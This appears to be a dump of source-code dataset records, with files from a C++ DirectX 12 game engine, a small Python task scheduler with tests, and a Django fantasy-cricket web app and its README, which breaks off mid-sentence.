L\"shadowMiss\",\teLocalRootSignature_Empty,\t\teShaderCategory_Miss,\t\t\teHitGroup_Undef },\n\t};\n\n\tstatic_assert(ARRAYSIZE(shaderDatas) == eShader_Num, \"shaderDatas arraySize is invalid!! shaderDatas arraySize must be equal to eShader_Num\");\n\n\n\tstruct SHitGroup {\n\t\tconst wchar_t* name;\t\t\t\t//ヒットグループの名前。\n\t\tconst wchar_t* chsHitShaderName;\t//最も近いポリゴンにヒットしたときに呼ばれるシェーダーの名前。\n\t\tconst wchar_t* anyHitShaderName;\t//any shader???\n\t};\n\t//ヒットグループの名前の配列。\n\tconst SHitGroup hitGroups[] = {\n\t\t{ L\"HitGroup\",\t\t\tshaderDatas[eShader_PBRChs].entryPointName,\tnullptr },\n\t\t{ L\"ShadowHitGroup\",\tshaderDatas[eShader_ShadowChs].entryPointName, nullptr },\n\t};\n\n\tstatic_assert(ARRAYSIZE(hitGroups) == eHitGroup_Num, \"hitGroups arraySize is invalid!! hitGroups arraySize must be equal to eHitGoup_Num\");\n\n\tconst D3D12_HEAP_PROPERTIES kDefaultHeapProps =\n\t{\n\t\tD3D12_HEAP_TYPE_DEFAULT,\n\t\tD3D12_CPU_PAGE_PROPERTY_UNKNOWN,\n\t\tD3D12_MEMORY_POOL_UNKNOWN,\n\t\t0,\n\t\t0\n\t};\n\tconst D3D12_HEAP_PROPERTIES kUploadHeapProps =\n\t{\n\t\tD3D12_HEAP_TYPE_UPLOAD,\n\t\tD3D12_CPU_PAGE_PROPERTY_UNKNOWN,\n\t\tD3D12_MEMORY_POOL_UNKNOWN,\n\t\t0,\n\t\t0,\n\t};\n\n\tID3D12Resource* CreateBuffer(\n\t\tID3D12Device5* pDevice,\n\t\tuint64_t size,\n\t\tD3D12_RESOURCE_FLAGS flags,\n\t\tD3D12_RESOURCE_STATES initState,\n\t\tconst D3D12_HEAP_PROPERTIES& heapProps)\n\t{\n\t\tD3D12_RESOURCE_DESC bufDesc = {};\n\t\tbufDesc.Alignment = 0;\n\t\tbufDesc.DepthOrArraySize = 1;\n\t\tbufDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;\n\t\tbufDesc.Flags = flags;\n\t\tbufDesc.Format = DXGI_FORMAT_UNKNOWN;\n\t\tbufDesc.Height = 1;\n\t\tbufDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;\n\t\tbufDesc.MipLevels = 1;\n\t\tbufDesc.SampleDesc.Count = 1;\n\t\tbufDesc.SampleDesc.Quality = 0;\n\t\tbufDesc.Width = size;\n\n\t\tID3D12Resource* pBuffer;\n\t\tpDevice->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &bufDesc, initState, nullptr, IID_PPV_ARGS(&pBuffer));\n\t\treturn pBuffer;\n\t}\n\tID3D12RootSignaturePtr CreateRootSignature(const D3D12_ROOT_SIGNATURE_DESC& desc)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tID3DBlobPtr pSigBlob;\n\t\tID3DBlobPtr pErrorBlob;\n\t\tHRESULT hr = D3D12SerializeRootSignature(&desc, D3D_ROOT_SIGNATURE_VERSION_1, &pSigBlob, &pErrorBlob);\n\t\tif (FAILED(hr))\n\t\t{\n\t\t\tMessageBox(nullptr, L\"ルートシグネチャの作成に失敗しました。\\n\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\tID3D12RootSignaturePtr pRootSig;\n\t\td3dDevice->CreateRootSignature(0, pSigBlob->GetBufferPointer(), pSigBlob->GetBufferSize(), IID_PPV_ARGS(&pRootSig));\n\t\treturn pRootSig;\n\t}\n\tstruct RootSignatureDesc\n\t{\n\t\tD3D12_ROOT_SIGNATURE_DESC desc = {};\n\t\tstd::vector<D3D12_DESCRIPTOR_RANGE> range;\n\t\tstd::vector<D3D12_ROOT_PARAMETER> rootParams;\n\t};\n\t//ほげ\n\tRootSignatureDesc CreateModelSinature()\n\t{\n\t\tRootSignatureDesc desc;\n\t\tdesc.rootParams.resize(2);\n\t\tdesc.rootParams[0].ParameterType = D3D12_ROOT_PARAMETER_TYPE_SRV;\n\t\tdesc.rootParams[0].Descriptor.ShaderRegister = 0;\n\t\tdesc.rootParams[0].Descriptor.RegisterSpace = 0;\n\n\t\tdesc.rootParams[1].ParameterType = D3D12_ROOT_PARAMETER_TYPE_SRV;\n\t\tdesc.rootParams[1].Descriptor.ShaderRegister = 1;\n\t\tdesc.rootParams[1].Descriptor.RegisterSpace = 0;\n\n\t\tdesc.desc.NumParameters = 2;\n\t\tdesc.desc.pParameters = desc.rootParams.data();\n\t\tdesc.desc.Flags = D3D12_ROOT_SIGNATURE_FLAG_LOCAL_ROOT_SIGNATURE;\n\n\t\treturn desc;\n\t}\n\tRootSignatureDesc CreateRayGenRootDesc()\n\t{\n\t\t// Create the root-signature\n\t\tRootSignatureDesc desc;\n\t\tdesc.range.resize(2);\n\t\t// gOutput\n\t\tdesc.range[0].BaseShaderRegister = 0;\n\t\tdesc.range[0].NumDescriptors = 1;\n\t\tdesc.range[0].RegisterSpace = 0;\n\t\tdesc.range[0].RangeType = D3D12_DESCRIPTOR_RANGE_TYPE_UAV;\n\t\tdesc.range[0].OffsetInDescriptorsFromTableStart = 0;\n\n\t\t// gRtScene\n\t\tdesc.range[1].BaseShaderRegister = 0;\n\t\tdesc.range[1].NumDescriptors = 1;\n\t\tdesc.range[1].RegisterSpace = 0;\n\t\tdesc.range[1].RangeType = D3D12_DESCRIPTOR_RANGE_TYPE_SRV;\n\t\tdesc.range[1].OffsetInDescriptorsFromTableStart = 1;\n\n\t\tdesc.rootParams.resize(1);\n\t\tdesc.rootParams[0].ParameterType = D3D12_ROOT_PARAMETER_TYPE_DESCRIPTOR_TABLE;\n\t\tdesc.rootParams[0].DescriptorTable.NumDescriptorRanges = 2;\n\t\tdesc.rootParams[0].DescriptorTable.pDescriptorRanges = desc.range.data();\n\n\t\t// Create the desc\n\t\tdesc.desc.NumParameters = 1;\n\t\tdesc.desc.pParameters = desc.rootParams.data();\n\t\tdesc.desc.Flags = D3D12_ROOT_SIGNATURE_FLAG_LOCAL_ROOT_SIGNATURE;\n\n\t\treturn desc;\n\t}\n\n\tID3D12DescriptorHeapPtr CreateDescriptorHeap(uint32_t count, D3D12_DESCRIPTOR_HEAP_TYPE type, bool shaderVisible)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tD3D12_DESCRIPTOR_HEAP_DESC desc = {};\n\t\tdesc.NumDescriptors = count;\n\t\tdesc.Type = type;\n\t\tdesc.Flags = shaderVisible ? D3D12_DESCRIPTOR_HEAP_FLAG_SHADER_VISIBLE : D3D12_DESCRIPTOR_HEAP_FLAG_NONE;\n\n\t\tID3D12DescriptorHeapPtr pHeap;\n\t\td3dDevice->CreateDescriptorHeap(&desc, IID_PPV_ARGS(&pHeap));\n\t\treturn pHeap;\n\t}\n\n\t//サブオブジェクト作成のヘルパー。\n\tnamespace BuildSubObjectHelper {\n\t\t/// <summary>\n\t\t/// ローカル√シグネチャのサブオブジェクト作成のヘルパー構造体。\n\t\t/// </summary>\n\t\tstruct LocalRootSignatureSubobject {\n\t\t\tLocalRootSignatureSubobject()\n\t\t\t{\n\t\t\t}\n\t\t\tvoid Init(const D3D12_ROOT_SIGNATURE_DESC& desc)\n\t\t\t{\n\t\t\t\tpRootSig = CreateRootSignature(desc);\n\t\t\t\tpInterface = pRootSig;\n\t\t\t\tsubobject.pDesc = &pInterface;\n\t\t\t\tsubobject.Type = D3D12_STATE_SUBOBJECT_TYPE_LOCAL_ROOT_SIGNATURE;\n\t\t\t}\n\t\t\tID3D12RootSignaturePtr pRootSig;\n\t\t\tID3D12RootSignature* pInterface = nullptr;\n\t\t\tD3D12_STATE_SUBOBJECT subobject = {};\n\t\t};\n\t\t/// <summary>\n\t\t/// ExportAssociationのサブオブジェクト作成のヘルパー構造体。\n\t\t/// </summary>\n\t\tstruct ExportAssociationSubobject\n\t\t{\n\t\t\tvoid Init(const WCHAR* exportNames[], uint32_t exportCount, const D3D12_STATE_SUBOBJECT* pSubobjectToAssociate)\n\t\t\t{\n\t\t\t\tassociation.NumExports = exportCount;\n\t\t\t\tassociation.pExports = exportNames;\n\t\t\t\tassociation.pSubobjectToAssociate = pSubobjectToAssociate;\n\n\t\t\t\tsubobject.Type = D3D12_STATE_SUBOBJECT_TYPE_SUBOBJECT_TO_EXPORTS_ASSOCIATION;\n\t\t\t\tsubobject.pDesc = &association;\n\t\t\t}\n\t\t\tD3D12_STATE_SUBOBJECT subobject = {};\n\t\t\tD3D12_SUBOBJECT_TO_EXPORTS_ASSOCIATION association = {};\n\t\t};\n\t\tstruct ShaderConfigSubobject\n\t\t{\n\t\t\tvoid Init(uint32_t maxAttributeSizeInBytes, uint32_t maxPayloadSizeInBytes)\n\t\t\t{\n\t\t\t\tshaderConfig.MaxAttributeSizeInBytes = maxAttributeSizeInBytes;\n\t\t\t\tshaderConfig.MaxPayloadSizeInBytes = maxPayloadSizeInBytes;\n\n\t\t\t\tsubobject.Type = D3D12_STATE_SUBOBJECT_TYPE_RAYTRACING_SHADER_CONFIG;\n\t\t\t\tsubobject.pDesc = &shaderConfig;\n\t\t\t}\n\t\t\tD3D12_RAYTRACING_SHADER_CONFIG shaderConfig = {};\n\t\t\tD3D12_STATE_SUBOBJECT subobject = {};\n\t\t};\n\t\t/// <summary>\n\t\t/// パイプライン設定のサブオブジェクト作成のヘルパー構造体。\n\t\t/// </summary>\n\t\tstruct PipelineConfigSubobject\n\t\t{\n\t\t\tPipelineConfigSubobject()\n\t\t\t{\n\t\t\t\tconfig.MaxTraceRecursionDepth = MAX_TRACE_RECURSION_DEPTH;\n\n\t\t\t\tsubobject.Type = D3D12_STATE_SUBOBJECT_TYPE_RAYTRACING_PIPELINE_CONFIG;\n\t\t\t\tsubobject.pDesc = &config;\n\t\t\t}\n\n\t\t\tD3D12_RAYTRACING_PIPELINE_CONFIG config = {};\n\t\t\tD3D12_STATE_SUBOBJECT subobject = {};\n\t\t};\n\t\t/// <summary>\n\t\t/// グローバルルートシグネチャのサブオブジェクト作成のヘルパー構造体。\n\t\t/// </summary>\n\t\tstruct GlobalRootSignatureSubobject\n\t\t{\n\t\t\tGlobalRootSignatureSubobject()\n\t\t\t{\n\t\t\t\tpRootSig = CreateRootSignature({});\n\t\t\t\tpInterface = pRootSig;\n\t\t\t\tsubobject.pDesc = &pInterface;\n\t\t\t\tsubobject.Type = D3D12_STATE_SUBOBJECT_TYPE_GLOBAL_ROOT_SIGNATURE;\n\t\t\t}\n\t\t\tID3D12RootSignaturePtr pRootSig;\n\t\t\tID3D12RootSignature* pInterface = nullptr;\n\t\t\tD3D12_STATE_SUBOBJECT subobject = {};\n\t\t};\n\t\t/// <summary>\n\t\t/// ヒットグループサブオブジェクト\n\t\t/// </summary>\n\t\tstruct HitGroupSubObject\n\t\t{\n\t\t\tHitGroupSubObject() {}\n\t\t\tvoid Init(const SHitGroup& hitgroup)\n\t\t\t{\n\t\t\t\tdesc = {};\n\t\t\t\tdesc.AnyHitShaderImport = hitgroup.anyHitShaderName;\n\t\t\t\tdesc.ClosestHitShaderImport = hitgroup.chsHitShaderName;\n\t\t\t\tdesc.HitGroupExport = hitgroup.name;\n\n\t\t\t\tsubObject.Type = D3D12_STATE_SUBOBJECT_TYPE_HIT_GROUP;\n\t\t\t\tsubObject.pDesc = &desc;\n\t\t\t}\n\t\t\tD3D12_HIT_GROUP_DESC desc;\n\t\t\tD3D12_STATE_SUBOBJECT subObject;\n\t\t};\n\t};\n}"
},
{
"alpha_fraction": 0.6632747650146484,
"alphanum_fraction": 0.6734505295753479,
"avg_line_length": 15.393939018249512,
"blob_id": "46aa02f5f42208f87050b3a1b8a6fb259daf92fa",
"content_id": "bf33175fc44f26cf3d84be0fd674ceb637de9f5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1081,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 66,
"path": "/UsualEngineR/Graphics/GaussBlur.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"Primitive.h\"\n\nnamespace UER\n{\n\tclass GaussBlur\n\t{\n\tpublic:\n\t\tGaussBlur(){}\n\t\tvirtual ~GaussBlur() \n\t\t{\n\t\t\tRelease();\n\t\t}\n\n\t\tvoid Release();\n\n\t\tvoid Init(int w, int h, RenderTarget* inTex, int inW, int inH, RenderTarget*& outTex);\n\n\t\tvoid Render(RenderContext& rc,const Primitive& prim);\n\n\t\tvoid UpdateWeight();\n\n\t\tTexture* GetOutputTexture()\n\t\t{\n\t\t\treturn &m_rtY.GetRenderTargetTexture();\n\t\t}\n\tprivate:\n\t\tstatic const int MAX_WEIGHT = 8;\n\t\tstruct BlurData\n\t\t{\n\t\t\tVector4 offset;\n\t\t\tfloat weights[MAX_WEIGHT] = {0.f};\n\t\t\tfloat rttexRatio = 1.f;\n\t\t};\n\t\tBlurData m_blurData;\n\n\t\tfloat m_dispersion = 1.0f;\n\t\tbool m_isChangeWeight = true;\n\n\t\tRenderTarget m_rtX;\n\t\tRenderTarget m_rtY;\n\n\t\tRootSignature m_rootSign;\n\t\tShader m_vsX;\n\t\tShader m_vsY;\n\t\tShader m_ps;\n\t\tPipelineState m_pipStateX;\n\t\tPipelineState m_pipStateY;\n\n\t\tDescriptorHeap m_descHeapX;\n\t\tDescriptorHeap m_descHeapY;\n\n\t\tDescriptorHeap m_samplerHeap;\n\n\t\tTexture m_inputTex;\n\t\tConstantBuffer m_constBuffer[2];\n\n\t\tint m_width = 0;\n\t\tint m_height = 0;\n\n\t\tint m_inWidth = 0;\n\t\tint m_inHeight = 0;\n\t\t\n\t};\n}"
},
{
"alpha_fraction": 0.7366296648979187,
"alphanum_fraction": 0.7376387715339661,
"avg_line_length": 32.03333282470703,
"blob_id": "792839d2695f85b0bdc59c9df1444a155d7cf31f",
"content_id": "ca3c4375087b67f498c55b60d0e0cb7c801f9d2e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1011,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 30,
"path": "/UsualEngineR/Physics/GhostObject.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"GhostObject.h\"\n\n\nnamespace UER\n{\n\tvoid GhostObject::Release()\n\t{\n\t\tif (m_isRegistPhysicsWorld == true) {\n\t\t\tPhysics().RemoveCollisionObject(m_ghost);\n\t\t\tm_isRegistPhysicsWorld = false;\n\t\t}\n\t}\n\tvoid GhostObject::Create(ICollider* collider, const Vector3& pos, const Quaternion& rot)\n\t{\n\t\tm_collider = collider;\n\t\tm_ghost.setCollisionShape(m_collider->GetBody());\n\t\tbtTransform btTrans;\n\t\tbtTrans.setOrigin({ pos.x, pos.y, pos.z });\n\t\tbtTrans.setRotation({ rot.x, rot.y, rot.z, rot.w });\n\t\tm_ghost.setWorldTransform(btTrans);\n\t\tm_ghost.setCollisionFlags(m_ghost.getCollisionFlags() | btCollisionObject::CF_NO_CONTACT_RESPONSE);\n\t\tm_ghost.setUserIndex(m_ghost.getUserIndex() | enCollisionAttr_NonHit);\n\n\t\t//物理エンジンに登録。\n\t\tPhysics().AddCollisionObject(m_ghost);\n\t\t//Physics().GetDynamicWorld()->addCollisionObject(&m_ghost, btBroadphaseProxy::SensorTrigger, btBroadphaseProxy::AllFilter & ~btBroadphaseProxy::SensorTrigger);\n\t\tm_isRegistPhysicsWorld = true;\n\t}\n}\n"
},
{
"alpha_fraction": 0.69609135389328,
"alphanum_fraction": 0.7000439167022705,
"avg_line_length": 17.512195587158203,
"blob_id": "75874d183eb2c69a226d273620d33d3aae69c0b4",
"content_id": "0761f5feab7bb144499934f4402448ff0589fe23",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2277,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 123,
"path": "/Game/Enemy/Boss/Boss_MiddleBomb.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"Enemy/IEnemy.h\"\n#include \"Effect/ExplosionEffect.h\"\nclass BossBGM;\n/// <summary>\n/// \n/// </summary>\nclass Boss_MiddleBomb final :public IEnemy\n{\npublic:\n\tBoss_MiddleBomb();\n\tvirtual ~Boss_MiddleBomb();\n\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid InitIK() override;\n\tvoid ExecuteCommon() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tvoid SpawnDropItem() override;\n\n\tPlayer::EnAttackType GetDropID() override\n\t{\n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\tvoid PlayAnimation(const int animNo, const float interpolate = 0.2f)\n\t{\n\t\tm_model->Play(animNo, interpolate);\n\t}\n\t\n\tenum class EnStateEX :int\n\t{\n\t\tLuanch = TO_INT(IEnemy::EnState::enAttackA),\n\t\tCorocoro,\n\t\tFullFrontal = TO_INT(IEnemy::EnState::enNumState),\n\t\tBash,\n\t\tRolling,\n\t\tGuard,\n\t\tJump,\n\t\tNum,\n\t};\n\n\tenum class EnAnimEX :int\n\t{\n\t\tFiring = TO_INT(IEnemy::EnAnimation::enAttackA),\n\t\tFiringUp,\n\t\tFullFrontal = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\t\tBash,\n\t\tGuard,\n\t\tJump,\n\t\tAngry,\n\t\tNum,\n\t};\n\n\tvoid Explode() override {\n\t\tauto forward = GetForward();\n\t\tforward *= -30.f;\n\t\tm_explodeEffect->SetPos(m_position + forward);\n\t\t//m_explodeEffect->SetPos(Vector3::One);\n\t\tm_explodeEffect->Play();\n\t\tStopJetSE();\n\t\tauto explodeSe = NewGO<CSoundSource>(0);\n\t\texplodeSe->Init(L\"Assets/sound/chara/explosion.wav\", true);\n\t\texplodeSe->SetPosition(m_position);\n\t\texplodeSe->Play(false);\n\t}\nprivate:\n\tvoid InitAnim();\nprivate:\n\t//Model\n\tModelRender* m_ShieldModel = nullptr;\n\tconst float m_scale = 1.f;\n\n\tRigidBody m_rigidBody;\n\tMeshCollider m_meshColl;\n\tMeshCollider m_meshColl_ghost;\n\tBone* m_shieldBone = nullptr;\n\n\tGhostObject m_shieldGhost;\n\n\t//Physics\n\tconst float m_radius = 3.f;\n\tconst float m_height = 7.f;\n};\n\nstruct BossBombData\n{\nprivate:\n\tBossBombData() {};\npublic:\n\n\tenum class EnFeel\n\t{\n\t\tNormale,\n\t\tAngry,\n\t\tTired\n\t};\n\tstatic BossBombData& GetInstance()\n\t{\n\t\tstatic BossBombData data;\n\t\treturn data;\n\t}\n\n\tvoid ReInit()\n\t{\n\t\tfeeling = EnFeel::Normale;\n\t\tisJumpStart = false;\n\t\tisBashAttack = false;\n\t\tisStartBattle = false;\n\t}\n\n\tEnFeel feeling = EnFeel::Normale;\n\n\tRigidBody* rigidBody = nullptr;\n\tMeshCollider* meshColl = nullptr;\n\tGhostObject* shieldGhost = nullptr;\n\tbool isJumpStart = false;\n\tbool isBashAttack = false;\n\tbool isStartBattle = false;\n\n};\n"
}
] | 409 |
JGulbronson/SquareTaskManager | https://github.com/JGulbronson/SquareTaskManager | 4bbc2a7a45b457ab1673fce0f71c352df6bb6b74 | 361e3d8daaac8a41e26942a7b852138764fa20d8 | 34c7fb82680e3f79aa5f3f794eaf21462afb2890 | refs/heads/master | 2016-04-01T09:38:21.106489 | 2014-10-10T13:51:10 | 2014-10-10T13:51:10 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.566936194896698,
"alphanum_fraction": 0.5741239786148071,
"avg_line_length": 28.289474487304688,
"blob_id": "8d790d557995a55413da052571b7c14494b78da2",
"content_id": "d657140f4a30638806d6c7e28e531520e8e61c81",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1113,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 38,
"path": "/main.py",
"repo_name": "JGulbronson/SquareTaskManager",
"src_encoding": "UTF-8",
"text": "from __future__ import print_function\nimport time\nimport thread\n\nclass Task:\n def __init__(self, function_to_run, interval):\n self.function_to_run = function_to_run\n self.interval = interval\n\nclass Worker:\n def __init__(self):\n self.queue = {}\n\n def add(self, item, exec_time, repetition_time):\n new_task = Task(item, repetition_time)\n if exec_time in self.queue:\n self.queue[exec_time].append(new_task)\n else:\n self.queue[exec_time] = [new_task]\n\n def run(self):\n current_time = 0\n while True:\n if current_time in self.queue:\n for task in self.queue[current_time]:\n thread.start_new_thread(task.function_to_run, ())\n self.add(task.function_to_run,\n current_time + task.interval, task.interval)\n time.sleep(1)\n current_time += 1\n\nworker = Worker()\n\nworker.add(lambda : print(\"One second\"), 1, 1)\nworker.add(lambda : print(\"Two seconds\"), 1, 2)\n#worker.add(lambda : print(\"One seconds again\"), 1)\n\nworker.run()\n"
},
{
"alpha_fraction": 0.5758513808250427,
"alphanum_fraction": 0.5758513808250427,
"avg_line_length": 20.53333282470703,
"blob_id": "2d78e9c1cb94e25833548cfe37aa08d8edf77db7",
"content_id": "8978abfdb1e1450188f3ce0f875fa00b77f34270",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 323,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 15,
"path": "/tests/worker_tests.py",
"repo_name": "JGulbronson/SquareTaskManager",
"src_encoding": "UTF-8",
"text": "from main import Worker\n\ndef test_one_two():\n runs = []\n worker = Worker()\n worker.add(lambda : runs.append('first'))\n worker.add(lambda : runs.append('second'))\n worker.run()\n assert runs == ['first', 'second']\n\ndef test_bare():\n runs = []\n worker = Worker()\n worker.run()\n assert runs == []\n"
}
] | 2 |
YashvanthD/Dream11-1 | https://github.com/YashvanthD/Dream11-1 | 891678397ff5a044fcc7e46b0b57590e99c5e79e | f282061c8cb90812a0f8042a01792953efea2e22 | 87808f79e7a4fd67335293cc8045a77caf74847c | refs/heads/master | 2023-02-13T04:19:48.501215 | 2020-10-22T21:14:32 | 2020-10-22T21:14:32 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5584158301353455,
"alphanum_fraction": 0.5651485323905945,
"avg_line_length": 47.55769348144531,
"blob_id": "a0ab9fb16f50cd0fc6077fd49db00eb242ddff6f",
"content_id": "241cad124f7689a7f88a659cd321c18aa237685b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5050,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 104,
"path": "/create_team/migrations/0001_initial.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.1.2 on 2019-07-23 11:52\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('user_registration', '0004_players_credit'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Matches',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('home_team', models.CharField(max_length=250)),\n ('away_team', models.CharField(max_length=250)),\n ('match_date', models.DateTimeField()),\n ],\n ),\n migrations.CreateModel(\n name='PlayerPoints',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('starting_eleven', models.IntegerField()),\n ('runs', models.IntegerField()),\n ('fours', models.IntegerField()),\n ('sixes', models.IntegerField()),\n ('strike_rate', models.IntegerField()),\n ('fifty', models.IntegerField()),\n ('hundred', models.IntegerField()),\n ('duck', models.IntegerField()),\n ('wickets', models.IntegerField()),\n ('maiden', models.IntegerField()),\n ('economy', models.IntegerField()),\n ('bonus', models.IntegerField()),\n ('catch', models.IntegerField()),\n ('runout_stumping', models.IntegerField()),\n ('total_points', models.IntegerField()),\n ('match_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.Matches')),\n ('player_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Players')),\n ],\n ),\n migrations.CreateModel(\n name='SeriesList',\n fields=[\n ('Series_name', models.CharField(max_length=250, primary_key=True, serialize=False, unique=True)),\n ('No_of_matches', models.IntegerField()),\n ('Home_team', models.CharField(max_length=250)),\n ('Away_team', models.CharField(max_length=250)),\n ],\n ),\n migrations.CreateModel(\n name='SeriesSquads',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('Series_name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.SeriesList')),\n ('Squad_player', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Players')),\n ],\n ),\n migrations.CreateModel(\n name='TeamCreated',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('Match_no', models.IntegerField()),\n ('Match_day', models.DateField()),\n ('Series_name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.SeriesList')),\n ('User_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Users')),\n ],\n ),\n migrations.CreateModel(\n name='TeamPlayers',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('Players', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Players')),\n ('Team_created', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.TeamCreated')),\n ],\n ),\n migrations.CreateModel(\n name='UserTeamPoints',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('points', models.IntegerField()),\n ('team', models.TextField()),\n ('match_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.Matches')),\n ('series_name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.SeriesList')),\n ('user_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Users')),\n ],\n ),\n migrations.AddField(\n model_name='playerpoints',\n name='series_name',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.SeriesList'),\n ),\n migrations.AddField(\n model_name='matches',\n name='Series_name',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='create_team.SeriesList'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.7105038166046143,
"alphanum_fraction": 0.7735757231712341,
"avg_line_length": 54.013423919677734,
"blob_id": "bca5be3140eba9b059258f1242bff604535555de",
"content_id": "fcc93db2f7d8b5b6aa5e83e37c839d03678a711b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 8203,
"license_type": "no_license",
"max_line_length": 305,
"num_lines": 149,
"path": "/README.md",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Dream11\n## Introduction:\nFor computer users of young ages who are highly interested in cricket\nand strategy based games, the Fantasy Cricket League is a gaming\nweb site that allows users to serve as general managers of virtual\nprofessional cricket team. Unlike traditional games, here the users do\nnot have to play directly. Instead they strategically selects players from\noriginal cricket players.\n - **Project goals** – The goal of this project is to create a game based website.\n \n - **Project scope** – This project is a game that targets the young\n audiences. As Bangladesh is a cricket loving country and there\n is no official website that provides this kind of strategic\n gaming system, this project has a lot of scope in our country.\n \n - **Features** – The main feature of this game is that here the\n users select players from original players playing for their\n countries and create a team. Then point is given on the basis\n of the performance of the players the user has chosen. Here\n the user is given a fixed budget. The main challenge here is to\n choose perfect player combination within the budget that is\n more likely to give him better points. The user can see his\n position among all other users playing globally or he can\n create a league with few users and can see his positionamong the other league players.\n \n## Software Used:\n- **Backend**: For Backend we have used ***Django*** and ***REST API***\n- **Database**: For Database we have used ***mysql***\n- **Frontend**: For Frontend we have used ***React.js*** \n\n## App Description:\nThis section describes the requirements and the specifications of the\nproject. Fantasy Cricket League is an online gaming system. There are two\ntypes of actors.\n 1. **User**\n 2. **Admin**\n \nUsers are the main actors. Any user who wants to play this game needs\nto sign-in into the website. Then the user needs to create a team of his\nown from the existing players list for each match. The user can modify\nhis team upto a certain time. The user can join any existing league or he\ncan create a league of his own. The user is given points on the basis of\nthe performance of the players that he has chosen. Keeping all these\nthings in mind, the project is divided into four subsystems.\n\n- **Registration and Login**: In this subsystem, user will be able to\nregister and enter the main system.\n- **Create Team**: After registration, user will create team for the first\ntime in this subsystem.\n- **Modify Team**: Before a match, user can modify his team in this\nsub-system.\n- **Create League**: User can create his own league and other users\ncan join the league with credentials.\n\n## Architecture and Design:\nHere we discuss about the architecture of the project and give the\ndetails of the modules of the project with the use case diagrams.\n\n**ERD**:\n1. Create Team and Modify Team:![ERD1](https://user-images.githubusercontent.com/33545768/94069442-696f7500-fe12-11ea-9d86-db552f39ab2f.png)\n2. Create League: ![ERD2](https://user-images.githubusercontent.com/33545768/94069629-bce1c300-fe12-11ea-8445-b25566f260c0.png)\n\n## User Guide:\nHere we will discuss the details about the usage of the software. The\nFantasy Cricket League is mainly a website. There is no app for it. The\ndetails are described below.\n\n- **Registration** : First the user needs to sign in to the system. If he does not have any account then first he will need to create an account by signing up to the system.\n\n![screenshot(7)](https://user-images.githubusercontent.com/33545768/94070776-9e7cc700-fe14-11ea-8eec-66300807a35c.png)\n\n- **Dashboard** : After signing in the user is taken to the dashboard. Here he can see all the features like upcoming matches, total player statistics, league generation etc. If the user clicks the sign out button then he is again moved back to the sign in page.\n\n![dashboard](https://user-images.githubusercontent.com/33545768/94152586-90bf5400-fe9d-11ea-8b81-44e38f84bb01.png)\n\n- **Upcoming Matches** : To create any team the user has to select any of the upcoming 